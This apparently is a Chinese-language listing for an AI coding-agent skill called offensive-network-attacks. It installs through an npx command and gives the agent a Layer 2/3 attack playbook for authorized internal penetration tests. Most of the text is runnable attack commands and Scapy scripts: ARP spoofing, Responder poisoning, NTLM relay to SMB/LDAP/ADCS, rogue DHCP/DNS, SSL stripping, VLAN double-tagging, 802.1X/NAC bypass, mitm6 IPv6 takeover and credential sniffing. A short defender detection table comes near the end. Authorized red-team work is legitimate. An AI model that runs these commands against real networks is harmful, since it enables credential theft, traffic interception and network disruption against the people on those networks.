关于 offensive-network-attacks
面向授权内部测试的安全技能,介绍第 2 层和第 3 层攻击方法,涵盖流量拦截、名称解析投毒、VLAN 与 DHCP 攻击、NAC 绕过及 IPv6 利用。
主要功能
- 01ARP 欺骗与中间人攻击
- 02LLMNR、NBT-NS 和 mDNS 投毒
- 03DNS 与 DHCP 攻击
- 04VLAN 跳跃技术
- 05802.1X 与 NAC 绕过
- 06IPv6 攻击方法
适用场景
- 01评估内部测试中的第 2/3 层暴露面
- 02测试名称解析与凭据保护
- 03评估网络分段和访问控制
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-network-attacks安装后在 Claude Code 中输入/offensive-network-attacks确认已加载。
详细介绍
网络攻击(第 2/3 层)——进攻方法论
你正在一次经授权的内部行动中攻击第 2/3 层基础设施。ARP、DHCP、广播名称解析、VLAN 中继和 IPv6 自动配置都没有身份验证机制——你利用这种信任来截获凭据、重定向流量并跨越网络边界。
快速工作流
- 确认你所在的位置——VLAN、子网、网关、DNS、DHCP 租约和 IPv6 状态。
- 使用 tcpdump/Wireshark 被动嗅探,以发现主机和明文凭据。
- 以分析模式运行 Responder,观察 LLMNR/NBT-NS/mDNS 查询。
- 启用 Responder 投毒,以捕获 NTLMv2 哈希。
- 使用 ntlmrelayx 将捕获的哈希中继到未启用 SMB 签名的主机。
- 对网关进行 ARP 欺骗,以实施定向中间人攻击和凭据截获。
- 通过 DTP 协商和 802.1Q 双重标记探测 VLAN 边界。
- 使用 mitm6 攻击 IPv6 自动配置,以接管 DNS 并中继 NTLM。
ARP 欺骗
ARP 没有身份验证机制。你发送免费 ARP 响应,将你的 MAC 地址与受害者缓存中的网关 IP 关联起来,使他们的流量经由你转发。
Bettercap ARP 模块
sudo bettercap -iface eth0
net.probe on # discover live hosts
net.show
set arp.spoof.targets 10.0.0.50 # single target
set arp.spoof.fullduplex true # poison both victim and gateway
arp.spoof on
arpspoof 和 Ettercap
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 10.0.0.50 10.0.0.1 # tell victim you are the gateway
arpspoof -i eth0 -t 10.0.0.1 10.0.0.50 # tell gateway you are the victim (second terminal)
# Ettercap alternative
sudo ettercap -T -M arp:remote /10.0.0.50// /10.0.0.1//
sudo ettercap -T -M arp:remote -F inject.ef /10.0.0.50// /10.0.0.1// # with filter
使用 Scapy 发送免费 ARP
from scapy.all import Ether, ARP, sendp
import time
pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(
op=2, psrc="10.0.0.1", hwsrc="aa:bb:cc:dd:ee:ff", pdst="10.0.0.50"
)
while True:
sendp(pkt, iface="eth0", verbose=False)
time.sleep(2)
绕过静态 ARP 条目
静态条目会阻止常规投毒。变通方法:溢出 ARP 表,使主机退回动态解析;通过 DHCP/DNS 攻击在第 3 层重定向;或者使用 VLAN 跳跃,从没有静态条目的网段发起攻击。
LLMNR / NBT-NS / mDNS 投毒
DNS 解析失败时,Windows 会退回使用 LLMNR(UDP 5355)、NBT-NS(UDP 137)和 mDNS(UDP 5353)。你用自己的 IP 响应这些广播查询,迫使受害者向你的恶意服务进行身份验证。
Responder 配置和哈希捕获
sudo responder -I eth0 -A # analyze mode -- observe without poisoning
sudo responder -I eth0 -wrf # full poisoning: -w WPAD, -r NBT-NS, -f fingerprint
# Hashes land in /opt/Responder/logs/
hashcat -m 5600 hashes.txt wordlist.txt -r rules/best64.rule # NTLMv2
hashcat -m 5500 hashes.txt wordlist.txt # NTLMv1 (weaker)
WPAD 是一种高价值攻击途径:浏览器会先通过 DNS 查询 wpad.dat,然后再通过 LLMNR/NBT-NS 查询。-w 标志会让 Responder 提供恶意 WPAD 配置,从浏览器流量中透明地捕获 NTLM 身份验证信息。
Inveigh(原生 Windows 工具)
在已攻陷的 Windows 主机上,无需部署 Linux 工具即可实施投毒:
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP Y -HTTPS Y -Proxy Y
Inveigh.exe -FileOutput Y -NBNS Y -mDNS Y -HTTP Y -LLMNR Y # C# binary avoids PS logging
使用 ntlmrelayx 中继 NTLMv1/v2
如果无法破解哈希,可将捕获的身份验证信息中继到未启用 SMB 签名的目标。先在 Responder.conf 中禁用 SMB 和 HTTP——这些协议由 ntlmrelayx 处理。
nxc smb 10.0.0.0/24 --gen-relay-list no-signing.txt
impacket-ntlmrelayx -tf no-signing.txt -smb2support -c "whoami" # command exec
impacket-ntlmrelayx -tf no-signing.txt -t ldap://10.0.0.10 \
--escalate-user attacker --delegate-access # LDAP privesc
impacket-ntlmrelayx -t http://ca.corp.local/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController # ADCS ESC8
通过 Responder 投毒、PetitPotam、PrinterBug 或 DFSCoerce 触发身份验证。
DNS 投毒
DNS 攻击会在应用层重定向流量。如果你控制了解析路径,就不需要与目标处于同一第 2 层网络。
通过 DHCP 选项 6 部署恶意 DNS 服务
在 DHCP 耗尽攻击之后,或在未启用 DHCP snooping 的网络上,部署 dnsmasq 并将你的 IP 配置为 DNS(选项 6):
# /etc/dnsmasq-rogue.conf:
# interface=eth0
# dhcp-range=10.0.0.100,10.0.0.200,255.255.255.0,12h
# dhcp-option=3,10.0.0.99 # gateway
# dhcp-option=6,10.0.0.99 # DNS
# address=/intranet.corp.local/10.0.0.99
# server=8.8.8.8
sudo dnsmasq -C /etc/dnsmasq-rogue.conf -d
使用 Scapy 进行 DNS 缓存投毒
from scapy.all import IP, UDP, DNS, DNSQR, DNSRR, send
import random
# Flood spoofed responses -- must match in-flight query txid and src port
for txid in range(1, 65535):
pkt = IP(dst="10.0.0.2", src="8.8.8.8") / \
UDP(sport=53, dport=random.randint(1024, 65535)) / \
DNS(id=txid, qr=1, aa=1, qd=DNSQR(qname="intranet.corp.local"),
an=DNSRR(rrname="intranet.corp.local", rdata="10.0.0.99", ttl=86400))
send(pkt, verbose=False)
现代解析器会随机化源端口和事务 ID。实际实施 Kaminsky 式投毒时,必须同时匹配这两个字段。
DNS 重绑定
通过在你的服务器和一个内部 IP 之间切换 DNS 记录,绕过同源策略:
# singularity framework: first resolution serves JS payload, second returns internal target
./singularity -DNSRebindStrategy DNSRebindFromRequest \
-ResponseIPAddr 10.0.0.99 -ResponseReboundIPAddr 192.168.1.1
中间人攻击(MITM)
一旦你位于受害者与网关之间(通过 ARP 欺骗、DHCP 重定向或网络分接),就可以截获和修改流量。
Bettercap HTTP 代理和 SSL 剥离
sudo bettercap -iface eth0
set arp.spoof.targets 10.0.0.50
set arp.spoof.fullduplex true
arp.spoof on
set http.proxy.sslstrip true
http.proxy on
set net.sniff.verbose true
set net.sniff.regexp .*pass.*|.*user.*|.*login.*
net.sniff on
使用 sslstrip+ 和 dns2proxy 绕过 HSTS
sslstrip+ 会改写域名(例如,将 accounts.google.com 改为 accountss.google.com),使浏览器不会应用 HSTS。dns2proxy 会将改写后的域名解析为真实 IP。
arpspoof -i eth0 -t 10.0.0.50 10.0.0.1 # terminal 1
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 10000 # terminal 2
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 10000
python dns2proxy.py -i eth0 # terminal 3
python sslstrip.py -l 10000 -a -w sslstrip.log # terminal 4
从代理流量中截获凭据
tshark -r capture.pcap -Y "http.authbasic" -T fields -e http.authbasic
tshark -r capture.pcap -Y "ftp.request.command == USER || ftp.request.command == PASS" \
-T fields -e ftp.request.command -e ftp.request.arg
python3 Pcredz -f capture.pcap # automated extraction (NTLM, HTTP, FTP, SMTP, SNMP)
sudo python3 net-creds.py -i eth0 # real-time credential sniffer
VLAN 跳跃
交换机欺骗(DTP 协商)
如果交换机端口处于动态自动/期望模式(常见的 Cisco 默认设置),则可协商建立中继链路:
sudo yersinia dtp -attack 1 -interface eth0 # DTP trunk negotiation
sudo tcpdump -i eth0 -nn -e vlan # verify trunk formed
sudo modprobe 8021q
sudo vconfig add eth0 100 # sub-interface for VLAN 100
sudo ifconfig eth0.100 10.100.0.99 netmask 255.255.255.0 up
双重标记(802.1Q)
当你位于本征 VLAN,且交换机只剥除外层标记时,此方法有效。它是单向的——你可以向目标 VLAN 发送流量,但响应会正常路由,不会到达你这里。
from scapy.all import Ether, Dot1Q, IP, ICMP, ARP, sendp
# Outer tag = native VLAN (1), inner tag = target VLAN (100)
pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / \
Dot1Q(vlan=1) / Dot1Q(vlan=100) / IP(dst="10.100.0.50") / ICMP()
sendp(pkt, iface="eth0")
# Double-tagged ARP poisoning into target VLAN
arp_poison = Ether(dst="ff:ff:ff:ff:ff:ff") / Dot1Q(vlan=1) / Dot1Q(vlan=100) / \
ARP(op=2, psrc="10.100.0.1", hwsrc="aa:bb:cc:dd:ee:ff", pdst="10.100.0.50")
sendp(arp_poison, iface="eth0", count=10, inter=2)
Yersinia 第 2 层攻击
sudo yersinia stp -attack 4 -interface eth0 # STP root bridge takeover
sudo yersinia cdp -attack 1 -interface eth0 # CDP flood (Cisco switches)
DHCP 攻击
DHCP 饥饿攻击
耗尽地址池,使合法客户端无法获取地址:
sudo dhcpstarv -i eth0 # dedicated starvation tool
sudo yersinia dhcp -attack 1 -interface eth0 # Yersinia alternative
from scapy.all import Ether, IP, UDP, BOOTP, DHCP, RandMAC, sendp
import random
for i in range(500):
mac = str(RandMAC())
pkt = Ether(src=mac, dst="ff:ff:ff:ff:ff:ff") / IP(src="0.0.0.0", dst="255.255.255.255") / \
UDP(sport=68, dport=67) / BOOTP(chaddr=bytes.fromhex(mac.replace(":", "")),
xid=random.randint(1, 0xFFFFFFFF)) / DHCP(options=[("message-type", "discover"), "end"])
sendp(pkt, iface="eth0", verbose=False)
用于网关重定向的恶意 DHCP 服务
耗尽地址池后,提供以你的 IP 作为网关和 DNS 的租约:
# /etc/dnsmasq-rogue.conf: interface=eth0, dhcp-range=10.0.0.100,10.0.0.200,255.255.255.0,12h
# dhcp-option=3,10.0.0.99 (gateway) dhcp-option=6,10.0.0.99 (DNS) dhcp-authoritative
sudo dnsmasq -C /etc/dnsmasq-rogue.conf -d
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
802.1X / NAC 绕过
绕过 MAB(MAC 欺骗)
如果 NAC 对打印机/VoIP 电话使用 MAC 身份验证绕过,请伪造已授权的 MAC:
sudo tcpdump -i eth0 -e -c 100 | awk '{print $2}' | sort -u # discover authorized MACs
sudo ip link set eth0 down
sudo ip link set eth0 address AA:BB:CC:DD:EE:FF
sudo ip link set eth0 up && sudo dhclient eth0
插入集线器/网桥
在已通过身份验证的设备与交换机端口之间搭建网桥。802.1X 验证的是端口,而非单个 MAC——你的流量会共享已验证的会话:
sudo ip link add name br0 type bridge
sudo ip link set eth0 master br0 # eth0 to switch
sudo ip link set eth1 master br0 # eth1 to authenticated device
sudo ip link set br0 up
证书冒充
如果使用 EAP-TLS,且 RADIUS 服务未严格验证 CA 证书链:
openssl req -new -x509 -days 365 -keyout fake-ca.key -out fake-ca.crt -subj "/CN=Corp-CA/O=Corp"
openssl req -new -keyout client.key -out client.csr -subj "/CN=PRINTER01/O=Corp"
openssl x509 -req -in client.csr -CA fake-ca.crt -CAkey fake-ca.key -CAcreateserial -out client.crt
# wpa_supplicant config: key_mgmt=IEEE8021X, eap=TLS, identity="PRINTER01", certs as above
sudo wpa_supplicant -i eth0 -D wired -c /etc/wpa_supplicant/wired.conf
规避 NAC 设备画像
匹配预期的设备指纹——OUI、DHCP 主机名、TCP 协议栈:
sudo macchanger -m 00:1A:4B:XX:XX:XX eth0 # HP printer OUI
sudo dhclient -H "HP-LaserJet-M402" eth0 # expected hostname
sudo iptables -t mangle -A POSTROUTING -j TTL --ttl-set 128 # Windows TTL
IPv6 攻击
大多数内部网络都运行双栈,但缺乏 IPv6 监控。Windows 优先使用 IPv6 DNS,而非 IPv4——公布一个 IPv6 DNS 服务,所有查询都会经由你路由。
使用 mitm6 滥用 SLAAC
mitm6 响应 DHCPv6 请求,将你的主机设为 DNS 服务,然后受害者的名称查找会触发 NTLM 身份验证,并发送到你的中继监听器:
sudo mitm6 -d corp.local -i eth0 # terminal 1: DNS takeover
impacket-ntlmrelayx -6 -t ldaps://dc01.corp.local \
--delegate-access -wh attacker-wpad.corp.local # terminal 2: relay
路由器通告欺骗
from scapy.all import (Ether, IPv6, ICMPv6ND_RA, ICMPv6NDOptSrcLLAddr,
ICMPv6NDOptPrefixInfo, ICMPv6NDOptRDNSS, sendp)
ra = Ether(dst="33:33:00:00:00:01") / IPv6(dst="ff02::1") / \
ICMPv6ND_RA(routerlifetime=1800) / ICMPv6NDOptSrcLLAddr(lladdr="aa:bb:cc:dd:ee:ff") / \
ICMPv6NDOptPrefixInfo(prefix="fd00::", prefixlen=64, validlifetime=1800) / \
ICMPv6NDOptRDNSS(dns=["fd00::99"], lifetime=1800)
sendp(ra, iface="eth0", loop=1, inter=5)
DHCPv6 投毒和 THC-IPV6
sudo atk6-fake_dhcps6 eth0 fd00::99 fe80::1 corp.local # fake DHCPv6 server
sudo atk6-alive6 eth0 # discover IPv6 hosts
sudo atk6-fake_router6 eth0 fd00::/64 # SLAAC prefix injection
sudo atk6-parasite6 eth0 # ICMPv6 neighbor spoofing
sudo atk6-flood_router6 eth0 # RA flood (DoS)
通过 IPv6 中继 NTLM
sudo mitm6 -d corp.local -i eth0 --ignore-nofqdn
impacket-ntlmrelayx -6 -t http://ca.corp.local/certsrv/certfnsh.asp \
-smb2support --adcs --template Machine # relay to ADCS for cert theft
嗅探与流量分析
被动嗅探不会产生任何流量。开始任何主动技术之前,先从这里着手。
tcpdump
sudo tcpdump -i eth0 -w capture.pcap -nn # full capture
sudo tcpdump -i eth0 -w auth.pcap -nn 'port 21 or port 23 or port 25 or port 445 or port 80'
sudo tcpdump -i eth0 -w broadcast.pcap -nn 'udp port 5355 or udp port 137 or udp port 5353'
sudo tcpdump -i eth0 -w dhcp.pcap -nn 'udp port 67 or udp port 68'
Wireshark 显示过滤器
http.authbasic HTTP Basic Auth
ftp.request.command == "PASS" FTP password
smtp.req.parameter contains "AUTH" SMTP auth
ntlmssp NTLM SSP traffic
ntlmssp.auth.username NTLM username
smb2.cmd == 1 SMB session setup
dns.qry.name contains "wpad" WPAD queries
llmnr LLMNR broadcast
arp.duplicate-address-detected ARP anomalies
vlan 802.1Q frames
snmp.community SNMP strings
kerberos.msg.type == 10 Kerberos AS-REQ
凭据提取
python3 Pcredz -f capture.pcap # from pcap
sudo python2 net-creds.py -i eth0 # real-time
tshark -r capture.pcap -Y "http.request.method == POST" \
-T fields -e http.host -e http.request.uri -e urlencoded-form.value # HTTP POST
检测 / 防御方视角
| 攻击 | 主要检测方式 | 关键指标 |
|---|---|---|
| ARP 欺骗 | 网关 IP 对应多个 MAC、ARP 风暴 | DAI 日志、IDS ARP 异常特征 |
| LLMNR/NBT-NS 投毒 | 意外的多播响应、SMB 向未知主机进行身份验证 | 事件 4697、网络 IDS、LLMNR 流量激增 |
| DNS 投毒 | DNS 响应不匹配、TTL 异常 | DNS 查询日志、RPZ 警报、DNSSEC 验证失败 |
| MITM / SSL 剥离 | 在已知仅支持 HTTPS 的服务上使用 HTTP、证书警告 | HSTS 预加载失败、代理日志、证书透明度 |
| VLAN 跳跃 | 接入端口发出 DTP 帧、双标签帧 | 交换机端口安全日志、意外的 802.1Q 帧 |
| DHCP 饥饿攻击 | 随机 MAC 发起快速 DHCP discover 洪泛 | DHCP snooping 违规、异常 OUI 模式 |
| 恶意 DHCP | 多个 DHCP offer、网关/DNS 冲突 | DHCP snooping 可信端口违规 |
| 绕过 802.1X | MAC 在端口间漂移、已通过身份验证的端口上出现多个 MAC | 端口安全违规、802.1X 重新身份验证失败 |
| IPv6 SLAAC/DHCPv6 | 意外的 RA、来自未知来源的 DHCPv6 | RA Guard 违规、NDPMon 警报 |
| 被动嗅探 | NIC 处于混杂模式 | 混杂模式检测脚本、交换机 SPAN 警报 |
你可能会遇到的防御控制:
- 动态 ARP 检查(DAI)——根据 DHCP snooping 表验证 ARP;阻止 ARP 欺骗。
- DHCP Snooping——限制只有可信端口可以提供 DHCP;防止恶意 DHCP 和 DHCP 饥饿攻击。
- 端口安全——限制每个端口可使用的 MAC 数量;阻止 DHCP 饥饿攻击和 MAB 欺骗。
- RA Guard——过滤未经授权的路由器通告;阻止 mitm6/SLAAC 攻击。
- SMB 签名 / LDAP 签名 + 通道绑定——阻止 NTLM 中继。
- 原生 VLAN 强化(将未使用的 VLAN 设为原生 VLAN)——防止双标签攻击。
- 私有 VLAN——阻止同一 VLAN 内主机之间的流量;限制 ARP 欺骗范围。
- NDR(Darktrace、Vectra、ExtraHop)——检测异常的横向流量。
行动速查表
SCENARIO TECHNIQUE TOOL / COMMAND
------------------------------------ --------------------------- ------------------------------------------------
Harvest creds passively LLMNR/NBT-NS poisoning responder -I eth0 -wrf
Creds captured, won't crack NTLM relay ntlmrelayx -tf targets.txt -smb2support
MITM a specific host ARP spoof + sniff bettercap: arp.spoof on + net.sniff on
Intercept HTTPS traffic SSL strip + HSTS bypass sslstrip+ / dns2proxy / bettercap http.proxy
Reach another VLAN DTP trunk negotiation yersinia dtp -attack 1
Reach VLAN (DTP disabled) Double tagging scapy: Dot1Q(vlan=1)/Dot1Q(vlan=target)
Exhaust DHCP, become gateway Starvation + rogue DHCP dhcpstarv + dnsmasq rogue config
Bypass 802.1X (MAB fallback) MAC spoofing macchanger -m <auth_mac> eth0
Bypass 802.1X (physical) Bridge insertion ip link add br0 type bridge
IPv6 DNS takeover + relay SLAAC/DHCPv6 poisoning mitm6 -d domain + ntlmrelayx -6
Passive recon only Traffic sniffing tcpdump -i eth0 -w capture.pcap
Extract creds from capture Credential extraction PCredz -f capture.pcap / net-creds
Disrupt STP topology STP root bridge attack yersinia stp -attack 4
Poison from Windows foothold Windows-native poisoning Inveigh -LLMNR Y -NBNS Y
MITRE ATT&CK 参考:
- T1557 -- 中间人攻击
- T1557.001 -- LLMNR/NBT-NS 投毒和 SMB 中继
- T1557.002 -- ARP 缓存投毒
- T1557.003 -- DHCP 欺骗
- T1040 -- 网络嗅探
- T1599 -- 网络边界桥接
Key References
- Bettercap documentation: https://www.bettercap.org/modules/
- Responder: https://github.com/lgandx/Responder
- mitm6: https://github.com/dirkjanm/mitm6
- Impacket (ntlmrelayx): https://github.com/fortra/impacket
- Ettercap: https://www.ettercap-project.org/
- Yersinia: https://github.com/tomac/yersinia
- THC-IPV6: https://github.com/vanhauser-thc/thc-ipv6
- Inveigh: https://github.com/Kevin-Robertson/Inveigh
- Scapy: https://scapy.readthedocs.io/
- PCredz: https://github.com/lgandx/PCredz
- Singularity (DNS rebinding): https://github.com/nccgroup/singularity
- The Hacker Recipes -- NTLM relay: https://www.thehacker.recipes/ad/movement/ntlm/relay
- MITRE ATT&CK T1557: https://attack.mitre.org/techniques/T1557/
- MITRE ATT&CK T1040: https://attack.mitre.org/techniques/T1040/